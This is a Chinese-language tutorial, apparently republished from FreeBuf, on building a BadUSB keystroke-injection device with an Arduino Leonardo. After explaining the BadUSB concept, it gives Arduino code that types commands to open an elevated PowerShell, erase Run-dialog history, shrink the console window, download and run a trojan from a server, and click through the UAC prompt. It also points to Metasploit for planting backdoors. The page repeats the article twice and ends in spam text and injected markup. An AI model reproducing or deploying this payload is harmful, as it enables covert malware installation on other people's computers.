精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

當前位置:安全行業動態 → 正文

利用Arduino快速制作Teensy BadUSB

責任編輯:editor004 |來源:企業網D1Net  2016-06-24 15:12:58 本文摘自:黑客與極客

*本文原創作者:維克斯

000 介紹

本文想以較簡單的方式,敘述Arduino版BadUSB的制作過程。我知道在這之前已經有很多前輩都寫過相關的文章,但小白可能還有點迷糊,所以這篇文章是快速帶大家入門了解,我也是菜B大神不要噴,謝謝~。

“BadUSB”是計算機安全領域的熱門話題之一,該漏洞由Karsten Nohl和Jakob Lell共同發現,并在2014年的BlackHat安全大會上公布。 雖然已隔一兩年,但還是有人在研究它,它的攻擊方式也多種多樣。

第一部分相關BadUSB介紹轉載于:https://security.tencent.com/index.php/blog/msg/74

BadUSB原理

在介紹BadUSB的原理之前,筆者在這里先介紹下BadUSB出現之前,利用HID(Human InterfaceDevice,是計算機直接與人交互的設備,例如鍵盤、鼠標等)進行攻擊的兩種類型。分別是”USB RUBBERDUCKY”和”Teensy”。

TEENSY介紹

攻擊者在定制攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個非常小而且功能完整的單片機開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和鼠標,當你插入這個定制的USB設備時,電腦會識別為一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟,都可以成功。

關于TEENSY,可以參考天融信阿爾法實驗室的《HID攻擊之TEENSY實戰》

  USB RUBBER DUCKY介紹

簡稱USB橡皮鴨,是最早的按鍵注入工具,通過嵌入式開發板實現,后來發展成為一個完全成熟的商業化按鍵注入攻擊平臺。它的原理同樣是將USB設備模擬成為鍵盤,讓電腦識別成為鍵盤,然后進行腳本模擬按鍵進行攻擊。

這兩種攻擊方式,是在BadUSB公布之前,比較流行的兩種HID攻擊方式,缺陷在于要定制硬件設備,通用性比較差。但是BadUSB就不一樣了,它是在“USB RUBBER DUCKY”和“Teensy”攻擊方式的基礎上用通用的USB設備(比如U盤)。

U盤的內部構造

U盤由芯片控制器和閃存兩部分組成,芯片控制器負責與PC的通訊和識別,閃存用來做數據存儲;閃存中有一部分區域用來存放U盤的固件,它的作用類似于操作系統,控制軟硬件交互;固件無法通過普通手段進行讀取。

BadUSB就是通過對U盤的固件進行逆向重新編程,相當于改寫了U盤的操作系統而進行攻擊的。

USB協議漏洞

為什么要重寫固件呢?下面我們可以看看USB協議中存在的安全漏洞。

現在的USB設備很多,比如音視頻設備、攝像頭等,因此要求系統提供最大的兼容性,甚至免驅;所以在設計USB標準的時候沒有要求每個USB設備像網絡設備那樣占有一個唯一可識別的MAC地址讓系統進行驗證,而是允許一個USB設備具有多個輸入輸出設備的特征。這樣就可以通過重寫U盤固件,偽裝成一個USB鍵盤,并通過虛擬鍵盤輸入集成到U盤固件中的指令和代碼而進行攻擊。

BadUSB利用代碼分析

筆者對KarstenNohl和Jakob Lell公布的代碼進行簡單的一個流程解析。

這樣一個帶有惡意代碼的U盤就產生了,更詳細的可以搜索Karsten Nohl 和 Jakob Lell公布的代碼。

001 制作過程

好的廢話咱們不多說了,直接開始吧~我們就是利用Arduino制作TEENSY 。Arduino是讓一種叫做單片機的小型可編程電腦盡可能簡單地被使用,并且單片機可以讓物體獲得交互功能。

來看一下我們需要準備的材料吧

Arduino Leonardo //小型單片機模擬USB

Arduino IDE //用于燒錄代碼的編譯器 http://www.arduino.cn/thread-5838-1-1.html

安卓數據線 //用于連接電腦USB

PC一臺 //ok我們可以開工了

擴展:追求完美的同學可以考慮 ——超短micro轉USB

Arduino Leonardo 單片機我們可以去各大電商平臺上去淘,特別是什么貨都有的電商平臺,相信你絕對能找到的。

我本來已經買好micro轉USB了 結果當我拿起他們兩個準備啪啪啪的時候~~~~

當場蒙逼,告訴我為什么插不進去~~~~ 算了當作紀念吧 ,所以我先當個炮灰,希望其他小伙伴不要和我一樣~~

感興趣的可以考慮一下這個玩意 名字叫做OTG轉接頭 我已經再一次交出了我的身體 發現是真的。。。。 可以有!

Clipboard Image.png

好~大家先把arduino IDE先裝好 安裝過程很簡單 就是下一步下一步,沒什么難度。

安裝好以后打開IDE。

  打開我們的IDE

IDE改版后,啟動界面也變了,以前的版本不是這樣的。打開以后是這樣子的:

那好我們就開始編寫代碼,不過在這之前我們要先把Arduino Leonardo插上。然后我們先保存一下這個項目文件,建議大家直接保存在桌面。

  然后會在桌面上多出一個demo文件夾

  文件夾內就是我們的demo文件。好~我們開始編寫代碼:

void setup() {

// put your setup code here, to run once:

}

這段代碼就是初始化我們的程序。

void loop() {

// put your main code here, to run repeatedly:

}

這段代碼是我們要循環的地方。

以上只是程序給我們搭好的框架,實際代碼要我們自己去編寫。我們讓USB對電腦進行操作主要是想實現自動化鍵盤操作,所以我們這邊就要用到arduino的鍵盤函數

#include //包含鍵盤模塊的頭文件

Keyboard.begin(); //開啟鍵盤通信

Keyboard.press(); //按下某個鍵

Keyboard.release(); //釋放某個鍵

Keyboard.println(); /*輸入某些內容 和一些網上的解釋不同 網上解釋是輸入內容并且能回車,而我測試的時候并不能回車 可能和版本有關 不要不要擔心有辦法回車*/

Keyboard.end(); //結束鍵盤通信

OK,以上就是我們主要使用到的函數。

那好現在我寫一些簡單代碼,然后大家可以感性地知道 代碼的含義:

#include //包含鍵盤模塊頭文件

void setup(); //初始化

Keyboard.begin();//開始鍵盤通信

delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這里我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵

delay(500);

Keyboard.press('r');//按下r鍵

delay(500);

Keyboard.release(KEY_LEFT_GUI);//松掉win鍵

Keyboard.release('r');//松掉r鍵

delay(500);

Keyboard.println("cmd");//輸入cmd進入DOS

delay(500);

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵

delay(500);

Keyboard.end();//結束鍵盤通訊

}

void loop()//循環,這里的代碼

{

//循環體 寫入你要循環的代碼

}

那好現在我們把代碼寫到IDE里面去。

然后我們要選擇正確的開發板和COM口,每臺電腦都不一樣的。

  一切準備就緒我們點擊編譯,看看程序是否能正常執行。

  提示這些說明我們編譯成功。

  那么我們離成功就是最后一步了——上傳。

  提示

上傳成功后,電腦會自動斷開USB,然后又會重新連接,那么 Arduino Leonardo就會自動運行了。我們來看看:

首先開啟大寫鍵 然后打開了運行窗口 然后輸入了CMD 接著要回車了

  然后程序自己輸入 echo first test 并且執行回車~~!! 大功告成~!

  以上就是利用Arduino Leonardo實現自動化的ehco操作,模擬一個BadUSB。

002 進階

那么我分享一下我的代碼——主要實現的功能就是從遠程服務器上下載我們木馬然后執行,并且不會產生記錄,和網上的同學實現的目的是一樣的,但代碼可能有所偏差。好那么看代碼,因為篇幅原因,我就直接貼出,主要實現代碼塊。

有需要的同學自行黏貼

Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*開啟管理員級別的powershell*/

Keyboard.println("reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f"); /*清除運行窗口產生的記錄*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //讓cmd窗口變成一個很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定義一個對象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\SUPER.EXE')"); /*從服務端下載病毒 服務器地址和木馬自己指定 還有木馬將在目標機上存放的地址 自己設置*/

//自己想了一個比較笨的方法繞過UAC 就是詢問管理員是否同意的那個框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向鍵

Keyboard.release(KEY_LEFT_ARROW); //釋放左方向鍵

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN);//釋放enter鍵

注意~

1.這里我們為什么要開管理員的powershell 是因為從服務端下載文件的時候 首先CMD不支持,其次就算我們在cmd里調用powershell 那也不是管理員身份下載會出錯。所以我們這里要開管理員的powershell 其實下載文件的操作code還有很多種 我這里是一種 如果大家有更好的下載方式可以和我說 謝謝 命令千奇百怪大家自己發揮

2.另外要注意的地方是在IDE編程的時候,指定目錄是要用\ 雙斜杠。

3.這些命令字母的大小寫是這樣的,因為我們在程序開頭執行了開啟大寫鍵的這個操作 ,所以我們想還原真實的字母就要在IDE里面把小寫的改成大寫,大寫的改成小寫 這樣程序輸出的時候就是我們想要的結果

4.還有就是delay(); 延這個東西自己把握,不是說值都是唯一的。我這里可能相對來說比較慢

最后附上鍵值對照表

Key Hexadecimal value Decimal value

KEY_LEFT_CTRL 0x80 128

KEY_LEFT_SHIFT 0x81 129

KEY_LEFT_ALT 0x82 130

KEY_LEFT_GUI 0x83 131

KEY_RIGHT_CTRL 0x84 132

KEY_RIGHT_SHIFT 0x85 133

KEY_RIGHT_ALT 0x86 134

KEY_RIGHT_GUI 0x87 135

KEY_UP_ARROW 0xDA 218

KEY_DOWN_ARROW 0xD9 217

KEY_LEFT_ARROW 0xD8 216

KEY_RIGHT_ARROW 0xD7 215

KEY_BACKSPACE 0xB2 178

KEY_TAB 0xB3 179

KEY_RETURN 0xB0 176

KEY_ESC 0xB1 177

KEY_INSERT 0xD1 209

KEY_DELETE 0xD4 212

KEY_PAGE_UP 0xD3 211

KEY_PAGE_DOWN 0xD6 214

KEY_HOME 0xD2 210

KEY_END 0xD5 213

KEY_CAPS_LOCK 0xC1 193

KEY_F1 0xC2 194

KEY_F2 0xC3 195

KEY_F3 0xC4 196

KEY_F4 0xC5 197

KEY_F5 0xC6 198

KEY_F6 0xC7 199

KEY_F7 0xC8 200

KEY_F8 0xC9 201

KEY_F9 0xCA 202

KEY_F10 0xCB 203

KEY_F11 0xCC 204

KEY_F12 0xCD 205

當然我這邊的代碼還比較簡單沒有什么控制語句和其他函數,有興趣的同學可以看看這方便的編程知識,讓這個BadUSB更加智能,會判斷。

大家也可以結合Metasploit 進行后門、木馬的植入,或者一些批處理文件,把自己電腦搞得亂七八糟,哈哈…

本文可能存在攻擊性,請勿用于非法用途。個人研究完全沒問題,一切責任與本人無關,如有不足的地方希望指點,謝謝。

參考文獻:

http://www.myhack58.com/Article/60/76/2014/56812.htm

http://zone.wooyun.org/content/17931

http://www.freebuf.com/articles/terminal/6182.html

https://security.tencent.com/index.php/blog/msg/74

* 本文原創作者:維克斯,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。

關鍵字:badusbKeyboard

本文摘自:黑客與極客

x 利用Arduino快速制作Teensy BadUSB 掃一掃
分享本文到朋友圈
當前位置:安全行業動態 → 正文

利用Arduino快速制作Teensy BadUSB

責任編輯:editor004 |來源:企業網D1Net  2016-06-24 15:12:58 本文摘自:黑客與極客

*本文原創作者:維克斯

000 介紹

本文想以較簡單的方式,敘述Arduino版BadUSB的制作過程。我知道在這之前已經有很多前輩都寫過相關的文章,但小白可能還有點迷糊,所以這篇文章是快速帶大家入門了解,我也是菜B大神不要噴,謝謝~。

“BadUSB”是計算機安全領域的熱門話題之一,該漏洞由Karsten Nohl和Jakob Lell共同發現,并在2014年的BlackHat安全大會上公布。 雖然已隔一兩年,但還是有人在研究它,它的攻擊方式也多種多樣。

第一部分相關BadUSB介紹轉載于:https://security.tencent.com/index.php/blog/msg/74

BadUSB原理

在介紹BadUSB的原理之前,筆者在這里先介紹下BadUSB出現之前,利用HID(Human InterfaceDevice,是計算機直接與人交互的設備,例如鍵盤、鼠標等)進行攻擊的兩種類型。分別是”USB RUBBERDUCKY”和”Teensy”。

TEENSY介紹

攻擊者在定制攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個非常小而且功能完整的單片機開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和鼠標,當你插入這個定制的USB設備時,電腦會識別為一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟,都可以成功。

關于TEENSY,可以參考天融信阿爾法實驗室的《HID攻擊之TEENSY實戰》

  USB RUBBER DUCKY介紹

簡稱USB橡皮鴨,是最早的按鍵注入工具,通過嵌入式開發板實現,后來發展成為一個完全成熟的商業化按鍵注入攻擊平臺。它的原理同樣是將USB設備模擬成為鍵盤,讓電腦識別成為鍵盤,然后進行腳本模擬按鍵進行攻擊。

這兩種攻擊方式,是在BadUSB公布之前,比較流行的兩種HID攻擊方式,缺陷在于要定制硬件設備,通用性比較差。但是BadUSB就不一樣了,它是在“USB RUBBER DUCKY”和“Teensy”攻擊方式的基礎上用通用的USB設備(比如U盤)。

U盤的內部構造

U盤由芯片控制器和閃存兩部分組成,芯片控制器負責與PC的通訊和識別,閃存用來做數據存儲;閃存中有一部分區域用來存放U盤的固件,它的作用類似于操作系統,控制軟硬件交互;固件無法通過普通手段進行讀取。

BadUSB就是通過對U盤的固件進行逆向重新編程,相當于改寫了U盤的操作系統而進行攻擊的。

USB協議漏洞

為什么要重寫固件呢?下面我們可以看看USB協議中存在的安全漏洞。

現在的USB設備很多,比如音視頻設備、攝像頭等,因此要求系統提供最大的兼容性,甚至免驅;所以在設計USB標準的時候沒有要求每個USB設備像網絡設備那樣占有一個唯一可識別的MAC地址讓系統進行驗證,而是允許一個USB設備具有多個輸入輸出設備的特征。這樣就可以通過重寫U盤固件,偽裝成一個USB鍵盤,并通過虛擬鍵盤輸入集成到U盤固件中的指令和代碼而進行攻擊。

BadUSB利用代碼分析

筆者對KarstenNohl和Jakob Lell公布的代碼進行簡單的一個流程解析。

這樣一個帶有惡意代碼的U盤就產生了,更詳細的可以搜索Karsten Nohl 和 Jakob Lell公布的代碼。

001 制作過程

好的廢話咱們不多說了,直接開始吧~我們就是利用Arduino制作TEENSY 。Arduino是讓一種叫做單片機的小型可編程電腦盡可能簡單地被使用,并且單片機可以讓物體獲得交互功能。

來看一下我們需要準備的材料吧

Arduino Leonardo //小型單片機模擬USB

Arduino IDE //用于燒錄代碼的編譯器 http://www.arduino.cn/thread-5838-1-1.html

安卓數據線 //用于連接電腦USB

PC一臺 //ok我們可以開工了

擴展:追求完美的同學可以考慮 ——超短micro轉USB

Arduino Leonardo 單片機我們可以去各大電商平臺上去淘,特別是什么貨都有的電商平臺,相信你絕對能找到的。

我本來已經買好micro轉USB了 結果當我拿起他們兩個準備啪啪啪的時候~~~~

當場蒙逼,告訴我為什么插不進去~~~~ 算了當作紀念吧 ,所以我先當個炮灰,希望其他小伙伴不要和我一樣~~

感興趣的可以考慮一下這個玩意 名字叫做OTG轉接頭 我已經再一次交出了我的身體 發現是真的。。。。 可以有!

Clipboard Image.png

好~大家先把arduino IDE先裝好 安裝過程很簡單 就是下一步下一步,沒什么難度。

安裝好以后打開IDE。

  打開我們的IDE

IDE改版后,啟動界面也變了,以前的版本不是這樣的。打開以后是這樣子的:

那好我們就開始編寫代碼,不過在這之前我們要先把Arduino Leonardo插上。然后我們先保存一下這個項目文件,建議大家直接保存在桌面。

  然后會在桌面上多出一個demo文件夾

  文件夾內就是我們的demo文件。好~我們開始編寫代碼:

void setup() {

// put your setup code here, to run once:

}

這段代碼就是初始化我們的程序。

void loop() {

// put your main code here, to run repeatedly:

}

這段代碼是我們要循環的地方。

以上只是程序給我們搭好的框架,實際代碼要我們自己去編寫。我們讓USB對電腦進行操作主要是想實現自動化鍵盤操作,所以我們這邊就要用到arduino的鍵盤函數

#include //包含鍵盤模塊的頭文件

Keyboard.begin(); //開啟鍵盤通信

Keyboard.press(); //按下某個鍵

Keyboard.release(); //釋放某個鍵

Keyboard.println(); /*輸入某些內容 和一些網上的解釋不同 網上解釋是輸入內容并且能回車,而我測試的時候并不能回車 可能和版本有關 不要不要擔心有辦法回車*/

Keyboard.end(); //結束鍵盤通信

OK,以上就是我們主要使用到的函數。

那好現在我寫一些簡單代碼,然后大家可以感性地知道 代碼的含義:

#include //包含鍵盤模塊頭文件

void setup(); //初始化

Keyboard.begin();//開始鍵盤通信

delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這里我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵

delay(500);

Keyboard.press('r');//按下r鍵

delay(500);

Keyboard.release(KEY_LEFT_GUI);//松掉win鍵

Keyboard.release('r');//松掉r鍵

delay(500);

Keyboard.println("cmd");//輸入cmd進入DOS

delay(500);

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN); //釋放回車鍵

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵

Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵

delay(500);

Keyboard.end();//結束鍵盤通訊

}

void loop()//循環,這里的代碼

{

//循環體 寫入你要循環的代碼

}

那好現在我們把代碼寫到IDE里面去。

然后我們要選擇正確的開發板和COM口,每臺電腦都不一樣的。

  一切準備就緒我們點擊編譯,看看程序是否能正常執行。

  提示這些說明我們編譯成功。

  那么我們離成功就是最后一步了——上傳。

  提示

上傳成功后,電腦會自動斷開USB,然后又會重新連接,那么 Arduino Leonardo就會自動運行了。我們來看看:

首先開啟大寫鍵 然后打開了運行窗口 然后輸入了CMD 接著要回車了

  然后程序自己輸入 echo first test 并且執行回車~~!! 大功告成~!

  以上就是利用Arduino Leonardo實現自動化的ehco操作,模擬一個BadUSB。

002 進階

那么我分享一下我的代碼——主要實現的功能就是從遠程服務器上下載我們木馬然后執行,并且不會產生記錄,和網上的同學實現的目的是一樣的,但代碼可能有所偏差。好那么看代碼,因為篇幅原因,我就直接貼出,主要實現代碼塊。

有需要的同學自行黏貼

Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*開啟管理員級別的powershell*/

Keyboard.println("reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f"); /*清除運行窗口產生的記錄*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //讓cmd窗口變成一個很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定義一個對象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\SUPER.EXE')"); /*從服務端下載病毒 服務器地址和木馬自己指定 還有木馬將在目標機上存放的地址 自己設置*/

//自己想了一個比較笨的方法繞過UAC 就是詢問管理員是否同意的那個框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向鍵

Keyboard.release(KEY_LEFT_ARROW); //釋放左方向鍵

Keyboard.press(KEY_RETURN); //按下回車鍵

Keyboard.release(KEY_RETURN);//釋放enter鍵

注意~

1.這里我們為什么要開管理員的powershell 是因為從服務端下載文件的時候 首先CMD不支持,其次就算我們在cmd里調用powershell 那也不是管理員身份下載會出錯。所以我們這里要開管理員的powershell 其實下載文件的操作code還有很多種 我這里是一種 如果大家有更好的下載方式可以和我說 謝謝 命令千奇百怪大家自己發揮

2.另外要注意的地方是在IDE編程的時候,指定目錄是要用\ 雙斜杠。

3.這些命令字母的大小寫是這樣的,因為我們在程序開頭執行了開啟大寫鍵的這個操作 ,所以我們想還原真實的字母就要在IDE里面把小寫的改成大寫,大寫的改成小寫 這樣程序輸出的時候就是我們想要的結果

4.還有就是delay(); 延這個東西自己把握,不是說值都是唯一的。我這里可能相對來說比較慢

最后附上鍵值對照表

Key Hexadecimal value Decimal value

KEY_LEFT_CTRL 0x80 128

KEY_LEFT_SHIFT 0x81 129

KEY_LEFT_ALT 0x82 130

KEY_LEFT_GUI 0x83 131

KEY_RIGHT_CTRL 0x84 132

KEY_RIGHT_SHIFT 0x85 133

KEY_RIGHT_ALT 0x86 134

KEY_RIGHT_GUI 0x87 135

KEY_UP_ARROW 0xDA 218

KEY_DOWN_ARROW 0xD9 217

KEY_LEFT_ARROW 0xD8 216

KEY_RIGHT_ARROW 0xD7 215

KEY_BACKSPACE 0xB2 178

KEY_TAB 0xB3 179

KEY_RETURN 0xB0 176

KEY_ESC 0xB1 177

KEY_INSERT 0xD1 209

KEY_DELETE 0xD4 212

KEY_PAGE_UP 0xD3 211

KEY_PAGE_DOWN 0xD6 214

KEY_HOME 0xD2 210

KEY_END 0xD5 213

KEY_CAPS_LOCK 0xC1 193

KEY_F1 0xC2 194

KEY_F2 0xC3 195

KEY_F3 0xC4 196

KEY_F4 0xC5 197

KEY_F5 0xC6 198

KEY_F6 0xC7 199

KEY_F7 0xC8 200

KEY_F8 0xC9 201

KEY_F9 0xCA 202

KEY_F10 0xCB 203

KEY_F11 0xCC 204

KEY_F12 0xCD 205

當然我這邊的代碼還比較簡單沒有什么控制語句和其他函數,有興趣的同學可以看看這方便的編程知識,讓這個BadUSB更加智能,會判斷。

大家也可以結合Metasploit 進行后門、木馬的植入,或者一些批處理文件,把自己電腦搞得亂七八糟,哈哈…

本文可能存在攻擊性,請勿用于非法用途。個人研究完全沒問題,一切責任與本人無關,如有不足的地方希望指點,謝謝。

參考文獻:

http://www.myhack58.com/Article/60/76/2014/56812.htm

http://zone.wooyun.org/content/17931

http://www.freebuf.com/articles/terminal/6182.html

https://security.tencent.com/index.php/blog/msg/74

* 本文原創作者:維克斯,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。

關鍵字:badusbKeyboard

本文摘自:黑客與極客

電子周刊
回到頂部

關于我們聯系我們版權聲明隱私條款廣告服務友情鏈接投稿中心招賢納士

企業網版權所有 ©2010-2024 京ICP備09108050號-6 京公網安備 11010502049343號

^
  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 包头市| 胶南市| 泸州市| 门头沟区| 平湖市| 蒲江县| 莫力| 安阳市| 罗甸县| 兖州市| 南和县| 闻喜县| 曲沃县| 东辽县| 洛隆县| 中方县| 漾濞| 阳山县| 湾仔区| 咸丰县| 宁河县| 孝感市| 永登县| 东海县| 岱山县| 天峻县| 屯门区| 湖南省| 茶陵县| 奎屯市| 钟祥市| 尉氏县| 梅河口市| 准格尔旗| 芷江| 金川县| 方正县| 阳新县| 广安市| 清苑县| 房产|